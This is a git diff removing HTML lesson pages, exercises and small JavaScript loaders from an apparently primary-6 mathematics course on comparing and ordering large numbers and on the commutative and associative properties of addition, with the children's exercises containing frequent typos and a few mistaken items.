-   <td width="11%" valign="top">
-    H
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    T
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    O
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <span style="font-weight: bold; color: #ff0000;">
-     5
-    </span>
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    0
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    2
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    5
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <span style="font-weight: bold; color: #ff0000;">
-     9
-    </span>
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    8
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td colspan="9" width="11%" valign="top">
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td width="11%" valign="top">
-    8
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    2
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    6
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    <span style="color: #ff0000;">
-     9
-    </span>
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    3
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    4
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    7
-    <br />
-   </td>
-   <td width="11%" valign="top">
-    8
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    8
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    2
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    6
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    <span style="color: #ff0000;">
-     4
-    </span>
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    3
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    4
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    7
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    8
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;" colspan="9">
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    7
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    8
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    6
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    5
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    4
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    3
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    0
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    5
-    <br />
-   </td>
-  </tr>
-  <tr>
-   <td style="vertical-align: top;">
-    9
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    7
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    8
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    6
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    5
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    4
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    3
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    0
-    <br />
-   </td>
-   <td style="vertical-align: top;">
-    5
-    <br />
-   </td>
-  </tr>
- </tbody>
-</table>
-<p>
- <br />
- <br />
- <span style="font-weight: bold; color: #ff0000;">
-  Notes to creator:
- </span>
- <br />
- <br />
- a) When you compare the numbers according tto their place values, from left, the smallest is 453 539 342 becauase we havve 5 as hundred thousand and 9 hundred thousand thatmeans we use less than(
- <span style="color: #ff0000;">
-  &lt;
- </span>
- )
- <br />
- thus: 453 539 342
- <span style="color: #ff0000;">
-  &lt;
- </span>
- 453 935 342.
- <br />
- 453 935 342
- <span style="color: #ff0000;">
-  &gt;
- </span>
- 453 539 342.
- <br />
- <br />
- ** According tto number c, we haave the same number of digits from left and all digits are equal. We use equal to (
- <span style="font-weight: bold; color: #ff0000;">
-  =
- </span>
- ).
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Comparing nubers from the smallest we use less than (
-  <span style="color: #ff0000;">
-   &lt;
-  </span>
-  ).
- </li>
-</ul>
-<p>
- example: 1
- <span style="text-decoration: underline; font-weight: bold; color: #ff0000;">
-  7
- </span>
- 6 879 121 &lt; 1
- <span style="text-decoration: underline; font-weight: bold; color: #ff0000;">
-  6
- </span>
- 6 978 112.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Comparing numbers from the greatest, we use greater than (
-  <span style="color: #ff0000;">
-   &gt;
-  </span>
-  ).
- </li>
-</ul>
-<p>
- example: 392 7
- <span style="color: #ff0000;">
-  9
- </span>
- 6 121 &gt; 392 7
- <span style="color: #ff0000;">
-  8
- </span>
- 6 399.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Comparing the same numbers, we use the equal to sign(
-  <span style="color: #ff0000;">
-   =
-  </span>
-  ).
- </li>
-</ul>
-<p>
- example: 392 796 399 = 392 796 399.
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m03/map611m03a03/a.txt b/Save_Mathematics/P6/map611m03/map611m03a03/a.txt
deleted file mode 100644
index 6cf88e9..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a03/a.txt
+++ /dev/null
@@ -1,35 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Indepent Practice.
-  <br />
- </span>
- 1. Comparing thhe following numbers using &lt;,&gt;or =
- <span style="font-weight: bold;">
-  <br />
-  a
- </span>
- . 613 082..........631 280
- <br />
- b. 4 035 817..........4 033 871
- <br />
- c. 9 323 114..........9 323 714
- <br />
- <br />
- 2. Arrange the following numbers in the ascending order.
- <br />
- <br />
- a. 742 904 530/ 174 203 645/ 785 256 314/ 704 962 241
- <br />
- b. 530 742 904/ 203 174 546/ 857 652 413/ 142 962 407
- <br />
- <br />
- 3. Arrange the following nubers in the desceding order.
- <br />
- a. 102 856 320/ 856 102 320/ 320 856 102/ 230 658 210
- <br />
- b. 482 190 734/ 482 910 734/ 734 482 190/ 190 734 482
- <br />
- <span style="font-weight: bold;">
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m03/map611m03a03/description.py b/Save_Mathematics/P6/map611m03/map611m03a03/description.py
deleted file mode 100644
index 3c8ae8f..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m03a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m03/map611m03a03/lesson.js b/Save_Mathematics/P6/map611m03/map611m03a03/lesson.js
deleted file mode 100644
index 3fd5f10..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m03/map611m03a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m03/map611m03a03/source.txt b/Save_Mathematics/P6/map611m03/map611m03a03/source.txt
deleted file mode 100644
index 6cf88e9..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a03/source.txt
+++ /dev/null
@@ -1,35 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Indepent Practice.
-  <br />
- </span>
- 1. Comparing thhe following numbers using &lt;,&gt;or =
- <span style="font-weight: bold;">
-  <br />
-  a
- </span>
- . 613 082..........631 280
- <br />
- b. 4 035 817..........4 033 871
- <br />
- c. 9 323 114..........9 323 714
- <br />
- <br />
- 2. Arrange the following numbers in the ascending order.
- <br />
- <br />
- a. 742 904 530/ 174 203 645/ 785 256 314/ 704 962 241
- <br />
- b. 530 742 904/ 203 174 546/ 857 652 413/ 142 962 407
- <br />
- <br />
- 3. Arrange the following nubers in the desceding order.
- <br />
- a. 102 856 320/ 856 102 320/ 320 856 102/ 230 658 210
- <br />
- b. 482 190 734/ 482 910 734/ 734 482 190/ 190 734 482
- <br />
- <span style="font-weight: bold;">
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m03/map611m03a04/a.txt b/Save_Mathematics/P6/map611m03/map611m03a04/a.txt
deleted file mode 100644
index 17ded7a..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a04/a.txt
+++ /dev/null
@@ -1,49 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Evaluation.
-  <br />
-  <br />
- </span>
- 1.Write each set of numbers in an ascending order.
- <span style="font-weight: bold;">
-  <br />
- </span>
- <br />
- a) 168 450 532/ 532 450 168/ 523 450 168/ 164 850 532
- <br />
- b) 679 984 487/ 679 894 487/ 984 679 487/ 487 984 679.
- <br />
- <br />
- 2.Write each set of numbers in the descending order.
- <br />
- a) 811 188 528/ 811 818 528/ 881 188 528/ 825 881 811
- <br />
- b) 617 543 694/ 756 399 430/ 399 430 756/ 543 694 716
- <br />
- <br />
- 3. Compare the following numbers using &lt;,&gt; or =
- <br />
- a) 283 450..........283 453
- <br />
- b) 99 827...........99 827
- <br />
- c) 890 842............2 411 000
- <br />
- d) 404 286 999.............404 286 99
- <span style="font-weight: bold;">
-  <br />
- </span>
- <br />
- 3. By using the &lt;,&gt; or =, comppare the folowing:
- <br />
- <br />
- a. Muksbrts put 259 590 000F in the Bank for 3 years and Nyerabazungu put 259 950 000F in the same Bank. Among these two women, who put less money?
- <br />
- b. The taxes collected by Kimihurura sectorin one yearis about 9 575 590F while Remera sector has collected 9 575 950F. Whch sector has collected much money?
- <br />
- c. Kamanzi planted 986 541 trees and Karangwa planted 985 541 trees. Who planed less trees?
- <br />
- <span style="font-weight: bold;">
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m03/map611m03a04/description.py b/Save_Mathematics/P6/map611m03/map611m03a04/description.py
deleted file mode 100644
index d72e51d..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m03a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m03/map611m03a04/lesson.js b/Save_Mathematics/P6/map611m03/map611m03a04/lesson.js
deleted file mode 100644
index 85fe65f..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m03/map611m03a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m03/map611m03a04/source.txt b/Save_Mathematics/P6/map611m03/map611m03a04/source.txt
deleted file mode 100644
index 17ded7a..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a04/source.txt
+++ /dev/null
@@ -1,49 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Evaluation.
-  <br />
-  <br />
- </span>
- 1.Write each set of numbers in an ascending order.
- <span style="font-weight: bold;">
-  <br />
- </span>
- <br />
- a) 168 450 532/ 532 450 168/ 523 450 168/ 164 850 532
- <br />
- b) 679 984 487/ 679 894 487/ 984 679 487/ 487 984 679.
- <br />
- <br />
- 2.Write each set of numbers in the descending order.
- <br />
- a) 811 188 528/ 811 818 528/ 881 188 528/ 825 881 811
- <br />
- b) 617 543 694/ 756 399 430/ 399 430 756/ 543 694 716
- <br />
- <br />
- 3. Compare the following numbers using &lt;,&gt; or =
- <br />
- a) 283 450..........283 453
- <br />
- b) 99 827...........99 827
- <br />
- c) 890 842............2 411 000
- <br />
- d) 404 286 999.............404 286 99
- <span style="font-weight: bold;">
-  <br />
- </span>
- <br />
- 3. By using the &lt;,&gt; or =, comppare the folowing:
- <br />
- <br />
- a. Muksbrts put 259 590 000F in the Bank for 3 years and Nyerabazungu put 259 950 000F in the same Bank. Among these two women, who put less money?
- <br />
- b. The taxes collected by Kimihurura sectorin one yearis about 9 575 590F while Remera sector has collected 9 575 950F. Whch sector has collected much money?
- <br />
- c. Kamanzi planted 986 541 trees and Karangwa planted 985 541 trees. Who planed less trees?
- <br />
- <span style="font-weight: bold;">
-  <br />
- </span>
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m03/map611m03a05/a.txt b/Save_Mathematics/P6/map611m03/map611m03a05/a.txt
deleted file mode 100644
index 1907dd2..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a05/a.txt
+++ /dev/null
@@ -1,43 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Remedial.
-  <br />
- </span>
- 1. What is the smallest number between the following numbeers:
- <br />
- a) 567 932 and 567 392
- <br />
- b) 675 392 and 675 932
- <br />
- <br />
- 2. What is the greatest number between the following:
- <br />
- a) 720 962 412 and 720 926 4212
- <br />
- b) 764 592 835 and 764 952 835
- <br />
- <br />
- 3. What is the place value of the underlined digits.
- <br />
- a) 984 532 811
- <br />
- b) 399 543 716
- <br />
- <br />
- 4. Arrange the following from the sallest and the greatest.
- <br />
- a. 759 907 735/ 579 824 635/ 812 352 162
- <br />
- b. 923 907 735/ 907 923 735/ 735 907 923
- <br />
- <br />
- 5.Compare the following numbers using &lt;,&gt; or =.
- <br />
- a. 7 328 641............7 823 641
- <br />
- b. 420 765 ...........420 765
- <br />
- c. 83 910 101.............83 911 001
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m03/map611m03a05/description.py b/Save_Mathematics/P6/map611m03/map611m03a05/description.py
deleted file mode 100644
index b8cd8cb..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m03a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m03/map611m03a05/lesson.js b/Save_Mathematics/P6/map611m03/map611m03a05/lesson.js
deleted file mode 100644
index bd44bdc..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m03/map611m03a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m03/map611m03a05/source.txt b/Save_Mathematics/P6/map611m03/map611m03a05/source.txt
deleted file mode 100644
index 1907dd2..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a05/source.txt
+++ /dev/null
@@ -1,43 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Remedial.
-  <br />
- </span>
- 1. What is the smallest number between the following numbeers:
- <br />
- a) 567 932 and 567 392
- <br />
- b) 675 392 and 675 932
- <br />
- <br />
- 2. What is the greatest number between the following:
- <br />
- a) 720 962 412 and 720 926 4212
- <br />
- b) 764 592 835 and 764 952 835
- <br />
- <br />
- 3. What is the place value of the underlined digits.
- <br />
- a) 984 532 811
- <br />
- b) 399 543 716
- <br />
- <br />
- 4. Arrange the following from the sallest and the greatest.
- <br />
- a. 759 907 735/ 579 824 635/ 812 352 162
- <br />
- b. 923 907 735/ 907 923 735/ 735 907 923
- <br />
- <br />
- 5.Compare the following numbers using &lt;,&gt; or =.
- <br />
- a. 7 328 641............7 823 641
- <br />
- b. 420 765 ...........420 765
- <br />
- c. 83 910 101.............83 911 001
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m03/map611m03a06/a.txt b/Save_Mathematics/P6/map611m03/map611m03a06/a.txt
deleted file mode 100644
index f34d9c3..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a06/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Enrichment.
-
-Compare the following numbers by using these signs <,> or =
diff --git a/Save_Mathematics/P6/map611m03/map611m03a06/description.py b/Save_Mathematics/P6/map611m03/map611m03a06/description.py
deleted file mode 100644
index 2b1f3d4..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m03a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m03/map611m03a06/lesson.js b/Save_Mathematics/P6/map611m03/map611m03a06/lesson.js
deleted file mode 100644
index b2bc4b5..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m03/map611m03a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m03/map611m03a06/source.txt b/Save_Mathematics/P6/map611m03/map611m03a06/source.txt
deleted file mode 100644
index f34d9c3..0000000
--- a/Save_Mathematics/P6/map611m03/map611m03a06/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Enrichment.
-
-Compare the following numbers by using these signs <,> or =
diff --git a/Save_Mathematics/P6/map611m04/activities.js b/Save_Mathematics/P6/map611m04/activities.js
deleted file mode 100755
index 58d235e..0000000
--- a/Save_Mathematics/P6/map611m04/activities.js
+++ /dev/null
@@ -1,10 +0,0 @@
-var activities = [
-['1','1','map6','basic','map611m04a01','blue'],
-['2','2','map6','basic','map611m04a02','blue'],
-['3','3','map6','basic','map611m04a03','blue'],
-['4','4','map6','basic','map611m04a04','blue'],
-['5','5','map6','basic','map611m04a05','blue'],
-['6','6','map6','basic','map611m04a06','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map611m04/map611m04a01/a.txt b/Save_Mathematics/P6/map611m04/map611m04a01/a.txt
deleted file mode 100644
index 53a681c..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a01/a.txt
+++ /dev/null
@@ -1,296 +0,0 @@
-<p>
- INTRODUCTION: Addition and the properties of ddition
-</p>
-<p>
- In mathematics ,we use numbers for different reasons such as adding diffrent objects of the same nature:money(50F+1000F),chalkboard:(40 of red+60 of white).When we change their positions,their sum remains the same.When you have three things,you should make the heap of two,from left or from right.
- <br />
- <br />
- In this milestone we will be studying to add two numbers by changing their positions,meaning that commutativity,and how to add three numbers by grouping two from left or from right without changing position of numbers,that means associativity.
- <br />
- <br />
- Now,think of the following problems!
- <br />
- <br />
-</p>
-<div style="text-align: justify;">
- <ul>
-  <li>
-   I have twenty-nine pens on the left hand and thirteen on the right,suppose that i change their positions,how many i have on left hand and on the right hand? Find their sum.
-  </li>
- </ul>
- <ul>
-  <li>
-   The Headmaster of Private school bought 10 computers on Monday,14 on Tuesday and 8 on Wednesday.
-  </li>
- </ul>
- <br />
- <ul>
-  <br />
- </ul>
- By associativity,grouping those computers from right and from right to find their sum.
- <br />
- <br />
- Fill the following numbers in the table; according to their place value.
- <br />
- a. 361,875
- <br />
- b. 4,826,193
- <br />
- c. 81,403,999
- <br />
- d. 452,864,837
- <br />
- e. 296,124,358
- <br />
- <br />
- <table border="1" width="100%">
-  <tbody>
-   <tr>
-    <td colspan="3" width="11%" valign="top">
-     <br />
-     Millions
-     <br />
-     <br />
-    </td>
-    <td colspan="3" width="11%" valign="top">
-     Thousands
-     <br />
-     <br />
-     <br />
-    </td>
-    <td colspan="3" width="11%" valign="top">
-     Units
-     <br />
-     <br />
-     <br />
-    </td>
-   </tr>
-   <tr>
-    <td width="11%" valign="top">
-     H
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     T
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     O
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     H
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     T
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     O
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     Hs
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     Ts
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     Os
-     <br />
-    </td>
-   </tr>
-   <tr>
-    <td width="11%" valign="top">
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     3
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     6
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     1
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     8
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     7
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     5
-     <br />
-    </td>
-   </tr>
-   <tr>
-    <td style="vertical-align: top;">
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     4
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     8
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     2
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     6
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     1
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     9
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     3
-     <br />
-    </td>
-   </tr>
-   <tr>
-    <td style="vertical-align: top;">
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     8
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     1
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     4
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     0
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     3
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     9
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     9
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     9
-     <br />
-    </td>
-   </tr>
-   <tr>
-    <td style="vertical-align: top;">
-     4
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     5
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     2
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     8
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     6
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     4
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     8
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     3
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     7
-     <br />
-    </td>
-   </tr>
-   <tr>
-    <td style="vertical-align: top;">
-     2
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     9
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     6
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     1
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     2
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     4
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     3
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     5
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     8
-     <br />
-    </td>
-   </tr>
-  </tbody>
- </table>
- <br />
- Are you able to give other examples?
- <br />
- <br />
-</div>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m04/map611m04a01/description.py b/Save_Mathematics/P6/map611m04/map611m04a01/description.py
deleted file mode 100644
index 4778ad0..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m04a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m04/map611m04a01/lesson.js b/Save_Mathematics/P6/map611m04/map611m04a01/lesson.js
deleted file mode 100644
index 68538b8..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m04/map611m04a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m04/map611m04a01/source.txt b/Save_Mathematics/P6/map611m04/map611m04a01/source.txt
deleted file mode 100644
index 53a681c..0000000
--- a/Save_Mathematics/P6/map611m04/map611m04a01/source.txt
+++ /dev/null
@@ -1,296 +0,0 @@
-<p>
- INTRODUCTION: Addition and the properties of ddition
-</p>
-<p>
- In mathematics ,we use numbers for different reasons such as adding diffrent objects of the same nature:money(50F+1000F),chalkboard:(40 of red+60 of white).When we change their positions,their sum remains the same.When you have three things,you should make the heap of two,from left or from right.
- <br />
- <br />
- In this milestone we will be studying to add two numbers by changing their positions,meaning that commutativity,and how to add three numbers by grouping two from left or from right without changing position of numbers,that means associativity.
- <br />
- <br />
- Now,think of the following problems!
- <br />
- <br />
-</p>
-<div style="text-align: justify;">
- <ul>
-  <li>
-   I have twenty-nine pens on the left hand and thirteen on the right,suppose that i change their positions,how many i have on left hand and on the right hand? Find their sum.
-  </li>
- </ul>
- <ul>
-  <li>
-   The Headmaster of Private school bought 10 computers on Monday,14 on Tuesday and 8 on Wednesday.
-  </li>
- </ul>
- <br />
- <ul>
-  <br />
- </ul>
- By associativity,grouping those computers from right and from right to find their sum.
- <br />
- <br />
- Fill the following numbers in the table; according to their place value.
- <br />
- a. 361,875
- <br />
- b. 4,826,193
- <br />
- c. 81,403,999
- <br />
- d. 452,864,837
- <br />
- e. 296,124,358
- <br />
- <br />
- <table border="1" width="100%">
-  <tbody>
-   <tr>
-    <td colspan="3" width="11%" valign="top">
-     <br />
-     Millions
-     <br />
-     <br />
-    </td>
-    <td colspan="3" width="11%" valign="top">
-     Thousands
-     <br />
-     <br />
-     <br />
-    </td>
-    <td colspan="3" width="11%" valign="top">
-     Units
-     <br />
-     <br />
-     <br />
-    </td>
-   </tr>
-   <tr>
-    <td width="11%" valign="top">
-     H
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     T
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     O
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     H
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     T
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     O
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     Hs
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     Ts
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     Os
-     <br />
-    </td>
-   </tr>
-   <tr>
-    <td width="11%" valign="top">
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     3
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     6
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     1
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     8
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     7
-     <br />
-    </td>
-    <td width="11%" valign="top">
-     5
-     <br />
-    </td>
-   </tr>
-   <tr>
-    <td style="vertical-align: top;">
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     4
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     8
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     2
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     6
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     1
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     9
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     3
-     <br />
-    </td>
-   </tr>
-   <tr>
-    <td style="vertical-align: top;">
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     8
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     1
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     4
-     <br />
-    </td>
-    <td style="vertical-align: top;">
-     0
-     <br />
